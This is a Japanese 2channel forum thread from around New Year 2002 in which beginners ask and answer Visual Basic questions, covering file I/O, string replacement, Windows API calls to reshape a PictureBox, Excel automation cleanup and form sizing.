MSDNライブラリ(ヘルプ)の「メニュー (Menu) コントロール」っていう
一番基本的なページに書いてあるじゃん。
全部読めとは言わないけど、ヘルプの目次ぐらいは目を通しておくといいよ。
ヘルプの引き方もプログラミング能力の一部だからね。
えらそうでスマソ。
696デフォルトの名無しさん:01/12/29 00:41
メニューコントロールに限らないのでは?
コマンドボタンでも使うよ。
697692:01/12/29 00:46
>>693
スマソ 区切り線と勘違いした。

「保存(&A)」にするとよろしいかと
698デフォルトの名無しさん:01/12/29 07:44
質問してもいいですか?
>>698
もう質問してるね。
700698:01/12/29 08:14
>>699
しまったっ!
701デフォルトの名無しさん:01/12/29 13:38
WinSockを使って(OCXじゃないよ)ソケットの送受信データを監視できない?
あと、使用中のソケットの列挙方法を教えてくれ。

あと、複数のイベント(FD_WRITEとか)をハンドラしたいんだけど…。
702Nana:01/12/29 16:41
>689
サンクスレス
ウィルス作るためにVBマスターしてみます
703名無しさん:01/12/29 19:45
拡張子変更ってどうやるんですか
704デフォルトの名無しさん:01/12/29 19:49
>>703

rename();
>>702
なんか感謝してないみたい(w thanksless
706( ゚д゚):01/12/29 23:37
VB5なんですが・・
DBGRIDをデータと連結しないで使ってるサンプルどっかにない?
(なんだか訳わからんぞ、これ)
707デフォルトの名無しさん:01/12/30 00:42
>>701
 具体的にどういうもんを作りたいからそうしたいのん?
 送受信データ監視ってそういうイベントとメソッドあるでしょ?
 FTP関係?P2Pみたいなの作んの?
708            :01/12/30 01:52
あのー、秋葉に逝ったときに
VC++5エンタープライズが7000円で
売ってたけど買いですか?
ちなみ割れじゃなくて中古ソフトとして。
>706
ってか、意味あるんかソレ?
DataをBoundするGridだからGridなんであって...
ヘルプの中にあるバージョン情報とかってMsgBoxとかで作るの?
>>710
それでもいいし、Form で作ってもいい。

それよりも、「プロジェクト」-「フォームモジュール」-「バージョン情報」で
簡単にバージョン情報が追加できる。
712デフォルトの名無しさん:01/12/30 16:31
ボタン押したら新規にディレクトリを作る方法を教えて下さい。
713( :01/12/30 16:41
MkDir
714712:01/12/30 16:45
>>713
できやした。Tnx。
715デフォルトの名無しさん:01/12/30 18:41
コンボボックスってAppearanceで2Dに設定しても2Dにならないのですが、
他に何か設定しないといけないのでしょうか。
716デフォルトの名無しさん:01/12/30 19:57
すみません、質問です
文字列の置き換え(Replace)で、「改行」を探知できますでしょうか
ある文章から「改行」を詰めたいんですけど
よろしくお願いします
>>716
改行を消したいって意味?
vbCrLfを指定するだけじゃ・・? 違った?
718デフォルトの名無しさん:01/12/30 20:50
 
719デフォルトの名無しさん:01/12/30 23:08
>716
空行を無くしたいなら、vbCrLf & vbCrLf → vbCrLf でオッケー。
もしスペースだけの行があったら、先にそれを始末する必要があるけど。
720デフォルトの名無しさん:01/12/30 23:11
test
721デフォルトの名無しさん:01/12/31 07:06
>>702
ここの過去ログだけでもそれなりのものは作れそうだが
CommonDialog1.Filter = "画像ファイル(*.BMP)|*.bmp"
でBMPファイルを開けるのですが
画像ファイル(BMP.JPG.GIF)
というように1つのフィルターで複数開けるようにしたいのですが
どのようにすればよいのでしょうか?
723デフォルトの名無しさん:01/12/31 09:45
>>722
CommonDialog1.Filter = "ピクチャ (*.bmp;*.jpg;*.gif)|*.bmp;*.jpg;*.gif"
724722:01/12/31 09:47
>>723
Thanx
725デフォルトの名無しさん :01/12/31 11:19
VBAはそこそこ出来るけど、
VBとどう違う???
VBはやっぱ難しい?
アホな質問でスマソ。
726P061198129228.ppp.prin.ne.jp:01/12/31 12:59
プロジェクト-フォームモジュールの追加で
追加したフォームなどをメニューエディタで作った項目から
開くにはどのようにしたらよろしいのでしょうか?
>>725
VBとVBAでは言語規則は殆ど同じ。
言語というよりコントロールの使い方がキモやね。
違うところといったらVBはコントロールとかが作れるってことかな。
(EXEが作れるかどうかという違いも当然あるけど)
その分難しいといえば難しいけど、
リンゴとミカン、どっちがおいしい?って聞いてるみたいなもんだよ。
好みや使い方でも変わってくる。
でもまぁ、VBAでできることは全部VBでできるけど
逆は無理なことがあるってかんじかな。
728デフォルトの名無しさん:01/12/31 13:06
>>726
Load frmSecond
frmSecond.Show
729725:01/12/31 13:37
>>727
Thanks!
730デフォルトの名無しさん:01/12/31 13:47
質問です。お願いします。
Cドライブのルートから、全ディレクトリ名とファイル名を
-----------
■C:\
[DIR]
Documents and Settings,Program Files,WINNT・・・
[FILE]
AUTOEXEC.BAT,CONFIG.SYS・・・
■C:\Documents and Settings\
[DIR]
Administrator,All Users,Default User・・・
■C:\Documents and Settings\Administrator\
[DIR]
Application Data,Cookies,Favorites・・・
[FILE]
NTUSER.DAT,ntuser.dat.LOG・・・
 ・
 ・
 ・
■C:\Program Files\
[DIR]
・・・
-----------
こんな風にTXTファイルに書き出したいんですけど、どうもループの
かけ方がうまく考えられません。どなたか上手い考え方あれば
ご教授ください。お願いします。
731デフォルトの名無しさん:01/12/31 13:59
>>730

これ(>>597)を使えばよろしいかと
>>730 再帰
733730:01/12/31 14:04
>>731
うわ。過去ログ見てないのバレバレっすね;
ありがとうございました。
>>732
どゆこと?
734732:01/12/31 14:06
プログラムの勉強しる
735731:01/12/31 14:07
>>733
再帰処理を使えってことね。
つまり >>597 がやっていること

>>597 をそのまま使うと死ぬよ
気をつけて
Do...Loop に条件式指定しないで
If...Then Exit Do って書き方ってあまり良くないですか?
それとcontinueないから全然Do...Loop使えないんですけど。
737デフォルトの名無しさん:01/12/31 15:27
>>736
いいんじゃないの?

continueないと不便だけど、Ifでなんとかできるでしょ。
738デフォルトの名無しさん:01/12/31 16:19
Labelの中で改行ってできますか?
>>738
Label1.Caption = "AAA" & vbCrLf & "BBB"
740デフォルトの名無しさん:01/12/31 22:05
VB6で、
Data Environmentを追加したいのですが方法がわかりません。
プロジェクト→コンポーネント→デザイナタブ、の中にData Environmentチェックボックスが存在しません。

また、表示→データビューウィンドウ→DataEnvironmentの追加を選ぶと、
「ActiveXコンポーネントはオブジェクトを作成できません」というエラーになります。どなたか対処法を教えていただきたいのですが?
741厨房王:02/01/01 01:03
こんちわ〜、以前ウイルス作成者の疑いをかけられた者です。あの
プログラムは努力の末、完成しました。でもウイルスを作ろうと思
ったのでは決してありません。現在はデータベースを構築し、筆王
に近い形のアプリを作成したいと思っています。あれぐらいなら可
能だと思うのですが、みなさんはどう思われますか。

味噌を言えば、はがきの文面をどのようにして、VBで作成するかで
すが、まずはデータベースから。分からない事があったら、またお
願いします。
>>741
こんちわ。多分、貴方を以前ウイルス作成者ではないかと疑ったと
貴方が思っている者です。
心配しないでください。あれくらいの事がわからない奴に
ウイルス程度でも作れるとは思ってませんから。
市販アプリと同じようなものが作れると思ってしまうのは
初級後半〜中級者が陥りやすい罠ですが、誰もが通る道ですので
気にしないでがんばってくださいね。

まぁ俺も厨房っちゅうことだ(藁
俺でわかることなら答えるんでまたきーてくれや。
743デフォルトの名無しさん:02/01/02 02:22
標準コントロールやOCXに頼らず自前で描画すりゃVBで作った
ようには見えないモノも十分作れます。
ただし、そこまでしてVBを使う事に意味があるかどうかは各々
の価値観次第です。
744デフォルトの名無しさん:02/01/02 02:57
すみません質問があるんですけど。。。

繰り返し公式なんですけど
x2=a*x1+5*x1/(1+x*1^2)+y1,y2=-x1
におけるカオスを求めたら
アニメーションするプログラムであることがわかったんですけど
これだけではだめな見たいなんです
745デフォルトの名無しさん:02/01/02 09:24
>>744 ワラタ。おちつけ。
746nks:02/01/02 09:35
正方形のpictureboxを、平行四辺形に、さらに台形へ、さらに菱形に...と
変形する簡単な方法を、どなたかご存知ないでしょうか?
教えてください。
747名無しさん:02/01/02 12:10
>>746
ピクチャボックス自体は大きさしか変わらない。
描画したものを変形させるってことなら計算。
748デフォルトの名無しさん:02/01/02 12:41
>>746
フォームの形なら比較的簡単に変えられますが、、、
ピクチャボックスは分かりません スマソ
>746
PictureBoxの中に表示されてる画像もせっとで変形って事?
それとも、枠のみ変形(画像自体は変形しない)って事?

前者は難しい。
後者なら、簡単だじゅ。
750744:02/01/02 13:49
すみませんお願いします
わたし独りの力じゃどうにも。。。
751nks:02/01/02 14:29
画像自体も変形すると言うことです。
752748:02/01/02 14:50
>>751
ピクチャボックスだけならこんな感じかな? イカサマくさいけど
フォームにピクチャボックスを配置して、次のコードをコピペ

'標準モジュール
Option Explicit

Public Declare Function SetWindowRgn Lib "user32" ( _
        ByVal hWnd As Long, _
        ByVal hRgn As Long, _
        ByVal bRedraw As Boolean) As Long
        
Public Declare Function CreatePolygonRgn Lib "gdi32" ( _
        lpPoint As POINTAPI, _
        ByVal nCount As Long, _
        ByVal nPolyFillMode As Long) As Long
        
Public Declare Function DeleteObject Lib "gdi32" ( _
        ByVal hObject As Long) As Long

Public Type POINTAPI
        x As Long
        y As Long
End Type

Public Const ALTERNATE = 1
Public Const WINDING = 2
753748:02/01/02 14:52
'フォーム
Option Explicit

Private mlngRet As Long
Private mlngFormation As Long

Private Sub Deformation(lngFormation As Long)

    Dim hRgn As Long
    Dim lpPoint(1 To 4) As POINTAPI

    Select Case lngFormation
        Case 1
            lpPoint(1).x = 100
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width
            lpPoint(2).y = Picture1.Top
            lpPoint(3).x = Picture1.Width - 100
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height
        Case 2
            lpPoint(1).x = 100
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width - 100
            lpPoint(2).y = Picture1.Top
            lpPoint(3).x = Picture1.Width
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height
754748:02/01/02 14:52
        Case 3
            lpPoint(1).x = Picture1.Width \ 2
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width
            lpPoint(2).y = Picture1.Top + Picture1.Height \ 2
            lpPoint(3).x = Picture1.Width \ 2
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height \ 2
        Case 4
            lpPoint(1).x = Picture1.Left
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width
            lpPoint(2).y = Picture1.Top
            lpPoint(3).x = Picture1.Width
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height
    End Select

    hRgn = CreatePolygonRgn(lpPoint(1), 4, WINDING)

    Call DeleteObject(mlngRet)
    mlngRet = SetWindowRgn(Picture1.hWnd, hRgn, True)
    
End Sub
755748:02/01/02 14:53
Private Sub Form_Load()
    mlngFormation = 1
    With Picture1
        .BorderStyle = 0
        .Top = Me.ScaleTop
        .Left = Me.ScaleLeft
        .Height = Me.ScaleHeight
        .Width = Me.ScaleWidth
    End With
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Call DeleteObject(mlngRet)
End Sub

Private Sub Picture1_Click()
    Call Deformation(mlngFormation)
    mlngFormation = mlngFormation + 1
    If mlngFormation > 4 Then mlngFormation = 1
End Sub
756748:02/01/02 14:56
実行してピクチャボックスをクリックしてみて
はずしてたらスマソ

画像の変形は面倒
757748:02/01/02 15:07
ピクチャボックスの背景は白で、
スケールモードはピクセルにしてね
758デフォルトの名無しさん:02/01/02 15:23
>>750 ワラタ。おちつけ。

質問の要点が分からん
759744:02/01/02 16:09
>>758
すみません返信ありがとうございます
この繰り返し公式のプログラムを実行すると、
アニメーションするんですが、
これ以外にも意味があるらしいんです
760nks:02/01/02 16:28
ありがとうございました。早速ためしてみます。
761デフォルトの名無しさん:02/01/02 17:00
インストールしたらテキストファイル(Readme)をデスクトップに作りたいんですけど、
デスクトップってインストールしている環境によってPATHが違うじゃないですかー。
これって、どうやって指定したら良いんですかい?
762デフォルトの名無しさん:02/01/02 17:10
763デフォルトの名無しさん:02/01/02 22:56
>>759
何を聞きたいのか、それでは解りません。
764761:02/01/03 23:22
>>762 ありがとうございますー。
765デフォルトの名無しさん:02/01/04 00:17
>761
オレのデスクトップに、ファイルやショートカットを
勝手に置くようなアプリは100回削除してやる!
766デフォルトの名無しさん:02/01/04 01:59
VBから既存のエクセルファイルを参照(読み書き)して上書き保存したいんですけど
成功してもバックグランドでEXCELが解放されなくて残っちゃうんですけどどうすれば
いいんしょうか?
ちなみにソースはこんな感じ
出先なんでスペルミスとかあるかもしれないけど起動と読み書きと閉じることは成功
してます。
誰か教えてください。

dim exl as object
dim wb as object
dim ws as object

set exl=createobject("excel.application")
set wb=exl.application.workbooks.open(既存のエクセルファイルのフルパス)
set ws=worksheets(上記エクセルファイルの参照するシート名)

ここから開いたエクセルファイルの読み書きをする

wb.save
wb.close
exl.Quiet
set ws=nothing
set wb=nothing
set exl=nothing
767デフォルトの名無しさん:02/01/04 02:20
>>766
本質的なことではないかもしれないけど、

exl.Quiet  → exl.Quit

ではないかと
そりゃ黙らせただけじゃ終了せんわな。
769766:02/01/04 03:03
>>767
ただのスペルミスです、無視してください(恥

>>768
黙らせた後どうしたらよいのでしょうか?
770767:02/01/04 03:04
これで多分いいはず

Set ws = Worksheets("Sheet1")

Set ws = wb.Worksheets("Sheet1")
 
exl.Quiet

exl.Quit
771766:02/01/04 03:07
>>770
ありがとうございます、試してみます。
772デフォルトの名無しさん:02/01/04 13:46
InetコントロールでHTTPでバイナリファイルを取得したいんですけど
GetChunkにicByteArrayを渡した後の処理が分かりません。
こっち系のサンプルが乏しいものでよく分かりません。
>>772
なにをしたいの?
「GetChunkにicByteArrayを渡した後の処理」って
貴方がなにをしたいかによって変わってくるよ。
それともGetChunkをどこでやればいいのかとかがわからないとか?
それならヘルプみてみ。ばっちり書いてあるよ。
icByteArrayだろうがicStringだろうが流れはかわらんからね。
バイト配列の使い方がわからないならそれ以前の問題やね。
774デフォルトの名無しさん:02/01/04 22:47
あげておきます。
775デフォルトの名無しさん:02/01/04 23:29
とても厨房な質問なのですが、
TextboxやLabelの左枠と文字の間隔って変えられないでしょうか。
-----------------
|←ココ→ああああ
-----------------
やっぱ無理すかね・・・?
776名無しさん:02/01/04 23:35
>>775
スペース挿入、ってこんな簡単な事じゃないんだろうね
777デフォルトの名無しさん:02/01/04 23:48
クリックしたら特定のファイルを開く(HTMLファイルとか)
のってどうすればいいですか?
OLEコンテナとかで開けばいいんですか。
>777
関連付けられたアプリならShellExecuteっていうのは既出だが
>>775
VBだけでやるなら、PictureBoxの中に
BorderStyle=0にしたTextBox置けばいいんでない?
(背景色を合わせれば見た目わからんよ)
いやならTextBoxにEM_SETRECTでも送ればできるんでないかな。
780775:02/01/05 00:30
>>776>>779
ありがとうございます。

Labelを2重にしました。盲点でした。スゲー。
ちなみにEM_SETRECTって何ですか?
ヘルプ見たら全部英語でした。。。
>>780
SendMessageとかのAPIでEM_SETRECTというメッセージを
TextBoxに送ると、上下左右のマージンを変えられるんよ。
(ただしMultiLine=Trueの場合ね)

コンテナにコントロールを入れて使うってのVBではよくやるよ。
Enabled=Falseにしたときにグレーにしたくない場合とか
PictureBoxやFrameとかのコンテナにTextBoxを入れて、
コンテナの方のEnabledを変えるんよ。
すると入力はできなけど見た目は変わらないってのができる。
Enabledを変更するコントロールが多いときなんかも便利。
Lockだとフォーカスが移っちゃうけどこれだと移らないしね。

ちなみにLock=TrueにしてもShift+Insで変更できちゃうんだよね。
このへんきちんとしてないプログラムって多いだろうな。
782デフォルトの名無しさん:02/01/05 01:47
>>781さん
僕、>>780さんじゃないですが、初心者です。
ほんと勉強になります。
その「ちなみに」を回避するのって、
キーコード取って禁止するしかないんですか?
783野口:02/01/05 05:12
Write#なんかでテキスト書き出したら、こうなるっしょ?
  Write #1, #02/01/05#
    ↓
  "02/01/05"
このダブルクォーテーションを付けない方法はないのかい?
784777:02/01/05 10:29
>>778
すいません。
ヘルプで検索したら全部英語でした…
786デフォルトの名無しさん:02/01/05 11:08
>>783

Writeじゃなく、Printで書き出せばおっけー
787777:02/01/05 11:30
>>785
Thanx!
788野口:02/01/05 12:39
>>786
おはよ→。>>783っす。できたよ。ありがとう。
789781:02/01/05 20:47
>>782
それが一番楽なんでない?
KeyDownでKeyCode=0すれば無効にできるよ。
フォームのKeyPreview=Trueにできるならば
フォームのKeyDownイベントにかけばいいだけだし。
790デフォルトの名無しさん:02/01/05 21:01
空のフォーム一つの実行ファイルでメモリ3MB消費するのはおかしい?
>>765
同意
792トンガり:02/01/05 21:16
基礎中の基礎を聞いて申し訳ないのですが、
dim total as integer
dim i as integer
total=0
for i=1 to 10
total=total+1
next i
という書き方だとようするにtotal=total+1を10回おこなう
という意味なんですか?そして結果totalが10になるという事
ですか?
dim?
「ぢm」ってよく書いちゃうね。
そろそろ流行語に選ばれても良いと思う。
GM
796デフォルトの名無しさん:02/01/06 02:28
くだらない質問ですみません。
HDDの中からテキストをロードするやり方をおしえてください。

Label3.Caption = loadtext("c:\file\index.txt")
みたいな感じではだめなのでしょうか?
797767:02/01/06 02:34
>>796
Open ステートメントを使うよろし
詳しくはMSDNで
798デフォルトの名無しさん:02/01/06 02:50

Label3.Caption に出したいのですがどうすればいいのでしょうか?
どうかおしえてください。お願いします。m(_ _)m

open (c:\file\index.text) for output
799デフォルトの名無しさん:02/01/06 02:53
Open index.Txt For Output As Label3.Caption
ではダメみたいです。
どうすればいいのでしょうか・・・
800デフォルトの名無しさん:02/01/06 03:06
>>799
Dim strBuff as String
Dim intFileNum as Interger

intFileNum = FreeFile()

Open "C:\file\index.txt" For Input as #intFileNum
Line Input #intFileNum, strBuff
Close #intFileNum

Label3.Caption = strBuff
801800:02/01/06 03:08
Dim intFileNum as Interger

Dim intFileNum As Integer
>792
試してみるのが一番早いし身になるぞ。

>total=total+1を10回おこなう

ちょっと違う。
iが10になるまでtotal=total+1を繰り返し行うという意味。
んで、totalの値は毎回変化するから...
あとは自分で試してみてや。
803デフォルトの名無しさん:02/01/06 03:24
できました!!!!!!!!!!!!!
ありがとうございました。
もうひとつあるのですが、
ファイルが file(1).txt file(2).txt file(3).txt とたくさんあって
i番目の時にfile(i).txtを選ぶようにするにはどうしたらいいのでしょうか?
804デフォルトの名無しさん:02/01/06 03:28
>>803

Open "C:\file(" & i & ").txt" For Input as #intFileNum
805デフォルトの名無しさん:02/01/06 04:03

Dim strBuff_1 as String
Dim strBuff_2 as String
Dim intFileNum_1 as Interger
Dim intFileNum_2 as Interger

intFileNum_1 = FreeFile()
intFileNum_2 = FreeFile()

Open "C:\file\index_1.txt" For Input as #intFileNum_1
Line Input #intFileNum_1, strBuff_1
Close #intFileNum_1
Open "C:\file\index_2.txt" For Input as #intFileNum_2 ←ここ
Line Input #intFileNum_2, strBuff_2
Close #intFileNum_2

Label3.Caption = strBuff_1
Label4.Caption = strBuff_2

こんなふうにしたら矢印のとこでエラーがでてしまったのですが
freefile()がたぶん原因だと思うのですが、どうすればいいのでしょうか?
FreeFile関数はOpenの直前で実行。
これ定説。
807デフォルトの名無しさん:02/01/06 05:05
Open "\tekisei\toi"&i&"\toi.txt" For Input As #intFileNum_toi

この文のおかしいところってわかりますか?
エラー候補でAsらしいんですけど・・・
>>804ってファイル名だけじゃなくてフォルダ名にも有効
なのでしょうか?
808デフォルトの名無しさん:02/01/06 05:19
>>807

&の前後にスペースを入れる
ファイル名はドライブ名から指定する


Open "C:\tekisei\toi" & i & "\toi.txt" For Input As #intFileNum_toi
809デフォルトの名無しさん:02/01/06 11:45
 winXPにvisualstudio6.0エンタープライズ版をインストしたところ、「ヘルプを表示できません」
とだけでてヘルプが見れません。さらに、入力候補のウインドウも出てきません。
C++だと、「ファイルが見つかりません。インストしなおしてください」と出ました。
何回再インストールしなおしても同じ状況です。何か考えられる原因は無いでしょうか
810驚くほど初心者…:02/01/06 11:48
グラフィカルボタンを複数作成していて下記のようなものを作りました。
If Image2(0).Tag = "up" Then
Image2(0).Picture = Image2(2).Picture
Image2(0).Tag = "down"
Else
Image2(0).Picture = Image2(1).Picture
Image2(0).Tag = "up"
End If
ボタンを押すと押した時のボタンの画像にはなるんですが
他のボタンを押した時に前に押していたボタンの画像を元に戻したいのですが
何を加えればよいでしょうか?
なにぶん初心者なもので助言いただければと思います。
>>810
Forですべてのグラフィカルボタンの画像をup画像に変更。
もしくは、静的変数で前押したボタンのindexを記憶させておく。

VB使いじゃないんで考え方の説明しかできないが。
>809
その前にMSDNはインストールしたんかい?
813デフォルトの名無しさん:02/01/06 13:25
>812
VSの後にインストしました。
814デフォルトの名無しさん:02/01/06 14:24
フォームのサイズを起動時に
640*480にしたいのですが
どうしたらよいのですか?
ScaleMode 3にしても 0 に変わってしまうところが
いまいち。
815トンガり:02/01/06 15:04
基礎中の基礎を聞いて申し訳ないのですが、
private sub comand1_click()
form1.forecolor=qbcolor(4)
form1.line (2000,1000)-(3000,1500)
end sub

だとちゃんとでるのですが、
private sub comand1_click
form1.line (2000,1000)-(3000,1500)
form1.forecolor=qbcolor(4)
end sub
だとでません。
これはプロパティーは先に書かなきゃいけないという決まりがあるんでしょうか?
816デフォルトの名無しさん:02/01/06 15:07
>>815
うん。あくまで、指定した前景色で描かれるということで、後から
変更できるわけではないよ。
817デフォルトの名無しさん:02/01/06 15:08
>>814
フォームサイズは、Twips単位じゃなかったっけ? だとすれば、
TwipsPerPixelX(Y)で計算してあげればおっけーでしょ。

WM_GETMINMAXINFOとかを使うまでもないやね。
818デフォルトの名無しさん:02/01/06 15:09
>>810
なぜ、CommandButtonを使わない?
819驚くほど初心者…:02/01/06 15:33
>>818
すいません。
ボタンの感じを出したくなかったのでグラフィカルボタンに
しました。
820デフォルトの名無しさん:02/01/06 15:37
TwipsPerPixelの使い方がわかりませんー
MSDNみてもわかりませんー
どうやったら640*480のウィンドウできますかー
>820
これくらいは検索しる!答え出とるやんか!
822デフォルトの名無しさん:02/01/06 15:44
数字を大きい順に並べ替えるプログラムの作りかた教えてください。
テキストボックス五個用意してコマンドボタンを押すと並べ替えられる奴。
お願いします。
>822
ソートとかで検索しる
824デフォルトの名無しさん:02/01/06 15:58
820
計算式はわかりましたがScaleHeightが変わりませんー
これってどうしてなのですか??
WidthとHeightは変わるのに
ScaleHeightが変わってくれないとサイズが合いません。
APIつかってタイトルバーのサイズ取得しないとだめですか?
825デフォルトの名無しさん:02/01/06 16:22
配列の中身を1つずつ調べたいんですけど、
ループさせる時に「配列の最後」ってどうやってとれば良いのですか?
これからVBを始めたいのですがどちらを買えばイイのでしょうか?
検索して調べてみても良く分からないので…
Microsoft Visual Basic V6.0
Enterprise Edition アカデミック\20,500

Microsoft Visual Basic V6.0
Professional Edition アカデミック \13,000
827デフォルトの名無しさん:02/01/06 16:42
Professionalで充分。
828825:02/01/06 16:45
すみません、付け加えさせてください。
動的配列というのに挑戦してるんです。
適当に配列増やしていたら、今、いくつあるのかが分からなくて
困っているのです・・・。
829826:02/01/06 16:48
あのもっと安く開発できるのは無いのですか?
830825:02/01/06 16:50
自己解決しました。Uboundかー。
スレ汚しすみません。
831デフォルトの名無しさん:02/01/06 17:07
>>826
VB以外にすれば? Delphiとかならフリー版もあるし。
>>828
winMXに繋いで「Visual Basic V6.0」で検索して
「すいません、頂いてもよろしいでしょうか?」とかIM入れて
「そっちのリスト見せてくれる?」とか逝かれ犯罪者に言われて
「では、頂かせて頂きます」
とかすればロハで入手出来るよ

それがどう言う事かは分かるよね
833トンガり:02/01/06 17:12
何度もすみません。
private sub form1_load
form1.forecolor=qbcolor(4)
form1.line (2000,2000)-(3000,1500)
end sub
だとでないのですが、これはプロシージャがcommand1等にしなきゃいけないのですか
834デフォルトの名無しさん:02/01/06 17:14
824あげ
835826:02/01/06 17:28
>>831スレ汚しついでに、
ファイルマネージャを作るのにはどの言語がイイのでしょう
持たせたい機能は
あるフォルダ以下からすべてのファイルを拡張子別に抽出
拡張子ごとにフォルダに分けるなどです。
836デフォルトの名無しさん:02/01/06 17:39
>>824
謎。
837>>835:02/01/06 17:54
板違い
くだらない質問スレにでも逝ってください
838名無しさん@お腹いっぱい。:02/01/06 18:11
wshの勉強はじめたんだけど、いきなりつまづきました。
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run "C:\Program Files\Windows Media Player\WMPLAYER.EXE"

メディアプレーヤ起動するだけなんだけど、ファイルが見つからないって
言われてしまいます.なんで???
839デフォルトの名無しさん:02/01/06 18:28
>>838
とりあえず、ファイルの存在くらい確かめてみない?
840名無しさん@お腹いっぱい。:02/01/06 18:30
>>839
レスありがと。ファイル名の両側にchr(34)付けて解決しました。
理由はわかんないけど
841781:02/01/06 18:51
>>824
>計算式はわかりましたがScaleHeightが変わりませんー
>これってどうしてなのですか??
あんたがなにをやってるのかなんてわかんねーよ。
どうしてなのですか?ってこっちがききてーよ。

640*480のウィンドウってウィンドウサイズが640*480Pixel?
それともクライアント領域が640*480Pixel?
それによってやり方が変わってくるぞ。

ウィンドウサイズを640*480にするなら
  Me.Width = wx + 640 * Screen.TwipsPerPixelX
  Me.Height = wy + 480 * Screen.TwipsPerPixelY

クライアント領域を640*480にするなら
  Dim wx&, wy&
  Me.ScaleMode = 1
  wx = Me.Width - Me.ScaleWidth
  wy = Me.Height - Me.ScaleHeight
  Me.Width = wx + 640 * Screen.TwipsPerPixelX
  Me.Height = wy + 480 * Screen.TwipsPerPixelY
842781:02/01/06 18:56
>>833
form1のAutoRedrawがfalseになってないか?

なぜそうなるのかがわからないうちは
とりあえずAutoRedraw=Trueにしておけば問題ないぞ。
ちっとメモリ食うけどな。
843781:02/01/06 19:02
>>840
「"」chr(34)を両端につけないと、
「C:\Program」「Files\Windows」「Media」「Player\WMPLAYER.EXE」
という4つの引数が渡されたと勘違いしちまうんよ。
空白を含むファイル名のときはそうしないといけないんだな。
844名無しさん@お腹いっぱい。:02/01/06 19:40
>>843
了解。そういう動きなんだから仕方ない。次の質問です。
起動したMPにコマンドを送ろうとしたんだけどACTIVATEの動きが変です。
WSHShell.AppActivate "Player"
この命令は対象が最小化されているときや別画面がACTIVEの時はうまく動かない。
どんな状況でも確実に画面をACTIVEにする方法はないかな
845807:02/01/06 19:48
何度ももうしわけありません。
以下の質問どなたかご返答お願いします。

ファイルの読み込みの際、C:からではなく相対パスでの読み込みはできますか?
846デフォルトの名無しさん:02/01/06 22:00
>>841
ありがとう。
結局フォームのサイズを変えたいときは
「ScaleWidthとScaleHeightをいじる」のではなく
「WidthとHeightをいじる」でよいのだろうか。
ファイナルアンサー?
>>845
相対パス指定出来るよ。
カレントディレクトリを使うやり方は、
CurDrv と CurDir を変更すればよい。

普通は、App.PathでExeのパスを取得して、
sFileName = App.Path & "\Log\MyLogFile.Log"
などとしてフルパスにしちゃうかも。
848デフォルトの名無しさん:02/01/07 00:19
キャラクターコードの一覧表みたいなのって
どこにあるというのですか!
探すとないんですが。
849仕様書無しさん:02/01/07 00:20
ないよ。
850デフォルトの名無しさん:02/01/07 00:38
>848
アスキーコードのことなら、MSDNヘルプに載ってるよ。
851デフォルトの名無しさん:02/01/07 01:12
アスキーコードとキャラクターコードは一緒のこと?
852デフォルトの名無しさん:02/01/07 01:26
1バイトの英語用キャラクターコードがアスキーコードだ。
文句あるか?
853デフォルトの名無しさん:02/01/07 01:27
たとえば50から100の間の
乱数を発生させるにはどうしたらよかとですか??
854デフォルトの名無しさん:02/01/07 01:48
>853
0から50の間の乱数を発生させて、それに50を足す。
>>846
サイズを変更するにはWidthとHeightでOK。
WidthとHeightは親ウィンドウ(コンテナとか)のScaleModeに従う。
フォームだったらデスクトップになるわけや。

Scale〜ってのはクライアント領域の座標を指定するときのプロパティ。
ScaleModeでクライアント領域をどういう尺度で見るかを指定する。
ScaleMode=0,ScaleLeft=0,ScaleWidth=1ならば、
その中の座標は0〜1で指定することになるわけや。
(座標0.5のところに何か描画するってした場合、
そのウィンドウがどんなサイズのときも必ず中心に描画されるって訳)
856デフォルトの名無しさん:02/01/07 08:46
>>853 MSDNからコピペ

任意の範囲の整数の乱数を生成するには、次の式を使ってください。

Int((upperbound - lowerbound + 1) * Rnd + lowerbound)
857807:02/01/07 10:52
>>847
>CurDrv と CurDir を変更すればよい。

この表記、MSDNで検索してもでてこなかったのですが、、、

>普通は、App.PathでExeのパスを取得して、
>sFileName = App.Path & "\Log\MyLogFile.Log"
>などとしてフルパスにしちゃうかも。

も含めて、>>800を使っておしえていただけないでしょうか?
858デフォルトの名無しさん:02/01/07 12:12
プログラムが"C:\Program Files\MyProg"にあり、
"C:\Program Files\MyProg\file\index.txt"を開く場合

Dim strBuff As String
Dim intFileNum As Integer
Dim strFullPath As String 'フルパス
Dim strSoutaiPath As String '相対パス

strSoutaiPath = "\file\index.txt"
strFullPath = App.Path & strSoutaiPath

intFileNum = FreeFile()

Open strFullPath For Input as #intFileNum
Line Input #intFileNum, strBuff
Close #intFileNum

Label3.Caption = strBuff
859デフォルトの名無しさん:02/01/07 12:30
>>154
これ、俺も知りたいんだが、解決できた?

フォルダ内のavi、mpeg、rmとかの画像を抜いてリストを作り、
エロ動画CDRを整理したい・・・

susieプラグインで、aviをBMPが入った書庫のように扱うというのが
あったけど、プログラムから使えるのは
それくらいしかみつからないな・・・

他になんかあったら情報ぷりーず。
860デフォルトの名無しさん:02/01/07 12:49
>>859
>>154 はマルチポストっぽかったので無視してた。
どうやら別のほうで回答してもらったようです。
この回答に対する返事もお礼もなかったようですが

>> 今回はVBでMediaPlayerに表示される画像の静止画のキャプチャを考えています
>が、
>> Bitbltでスクリーンコピーすると動画の部分だけが真っ黒になってしまいます。
>> またBitblt以外でのキャプチャ法はありませんでしょうか?ご教授お願いいたしま
>す。
>
>私はキャプチ映像をWindows Media Fileへ変換するツールを作成中です。
>私のほうは動画ですが。
